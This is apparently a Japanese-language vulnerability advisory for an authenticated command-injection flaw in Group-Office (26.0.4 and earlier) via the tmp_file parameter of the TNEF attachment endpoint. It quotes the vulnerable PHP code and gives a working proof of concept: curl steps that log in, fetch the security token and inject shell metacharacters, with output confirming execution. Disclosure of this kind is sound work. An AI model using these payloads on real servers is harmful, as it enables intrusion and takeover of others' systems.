
RCE - TNEF添付ファイルハンドラ経由のコマンドインジェクション
Group-Office において、重大なリモートコード実行(RCE) の脆弱性が確認されました。エンドポイント email/message/tnefAttachmentFromTempFile は、ユーザー制御のパラメータ tmp_file を exec() 呼び出しに直接連結します。tmp_file にシェルのメタ文字を注入することで、認証された攻撃者がサーバー上で任意のシステムコマンドを実行できます。
| 製品 | 影響を受けるバージョン |
|---|---|
| Group-Office | ≤ 26.0.4 |
tmp_file パラメータは HTTP リクエストから取得され、エスケープや検証なしでシェルコマンドを構築するために使用されます。これにより、Web サーバーの権限で実行される tnef 抽出コマンドへのコマンドインジェクションが発生します。
脆弱なコード (www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| 段階 | 説明 |
|---|---|
| ソース | index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... 内の tmp_file クエリパラメータ |
| 伝播 | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| シンク | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
tmp_file はシェルコマンドに連結されるため、;、&、バッククォート、$() などのメタ文字を使用すると、攻撃者は任意のコマンドを追加できます。
認証要件: あり。
MessageControllerはsecurity_tokenCSRF チェックを実施するため、有効なセッションとトークンが必要です。
PoC スクリプトはログインし、security_token を取得して、tmp_file を介してペイロードを注入し、ZIP レスポンスから rce.txt を読み取って実行を検証します。
python3 poc.py
出力例:
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ステップ 1: ログイン
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
レスポンス:
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
ステップ 2: RCE をトリガー
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
結果:
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| カテゴリ | 重要度 | 説明 |
|---|---|---|
| 機密性 | 高 | 任意のコマンド実行により、機密ファイルを読み取ることができます。 |
| 整合性 | 高 | 攻撃者はサーバーのファイルを変更または削除できます。 |
| 可用性 | 高 | 攻撃者はサービスを妨害したり、重要なデータを削除したりできます。 |